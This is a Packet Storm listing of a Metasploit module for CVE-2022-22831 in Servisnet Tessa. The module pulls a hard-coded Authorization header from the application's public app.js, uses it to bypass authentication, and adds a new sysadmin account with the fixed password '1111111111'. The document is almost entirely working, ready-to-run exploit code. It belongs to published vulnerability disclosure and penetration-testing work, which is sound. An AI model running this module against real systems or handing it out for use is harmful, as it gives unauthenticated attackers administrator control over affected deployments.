Lucene search

K
packetstormAkkuS, metasploit.comPACKETSTORM:165863
HistoryFeb 04, 2022 - 12:00 a.m.

Servisnet Tessa Authentication Bypass

2022-02-0400:00:00
AkkuS, metasploit.com
packetstormsecurity.com
216
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit)',  
'Description' => %q(  
This module exploits an authentication bypass in Servisnet Tessa, triggered by add new sysadmin user.  
The app.js is publicly available which acts as the backend of the application.  
By exposing a default value for the "Authorization" HTTP header,   
it is possible to make unauthenticated requests to some areas of the application.   
Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method.  
A new admin user can be added to the database with this header obtained in the source code.   
  
),  
'References' =>  
[  
[ 'CVE', 'CVE-2022-22831' ],  
[ 'URL', 'https://www.pentest.com.tr/exploits/Servisnet-Tessa-Add-sysAdmin-User-Unauthenticated.html' ],  
[ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]  
],  
'Author' =>  
[  
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => "Dec 22 2021",  
'DefaultOptions' =>  
{  
'RPORT' => 443,  
'SSL' => true  
}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path for application', '/'])  
])  
end  
# split strings to salt  
def split(data, string_to_split)   
word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)  
string = word.split('"]').join('').split('["').join('')  
return string  
end   
# for Origin and Referer headers  
  
def app_path  
res = send_request_cgi({  
# default.a.get( check   
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /baseURL/  
data = res.body  
#word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)  
base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0]  
print_status("baseURL: #{base_url}")   
return base_url  
else  
fail_with(Failure::NotVulnerable, 'baseURL not found!')  
end  
end  
  
def add_user  
token = auth_bypass  
newuser = Rex::Text.rand_text_alpha_lower(8)   
id = Rex::Text.rand_text_numeric(4)   
# encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111  
json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}'  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, app_path, 'users'),  
'headers' =>  
{  
'Authorization' => token  
},  
'data' => json_data  
})  
  
if res && res.code == 200 && res.body =~ /localhost/  
print_good("The sysAdmin authorized user has been successfully added.")  
print_status("Username: #{newuser}")  
print_status("Password: 1111111111")  
else  
fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.')  
end  
end  
  
def auth_bypass  
  
res = send_request_cgi({  
# default.a.defaults.headers.post["Authorization"] check   
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /default.a.defaults.headers.post/  
token = split(res.body, 'Authorization')  
print_status("Authorization: #{token}")   
return token  
else  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
  
end  
  
def check   
  
if auth_bypass =~ /Basic/   
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def run  
unless Exploit::CheckCode::Vulnerable == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
add_user   
end  
end  
  
`
Related for PACKETSTORM:165863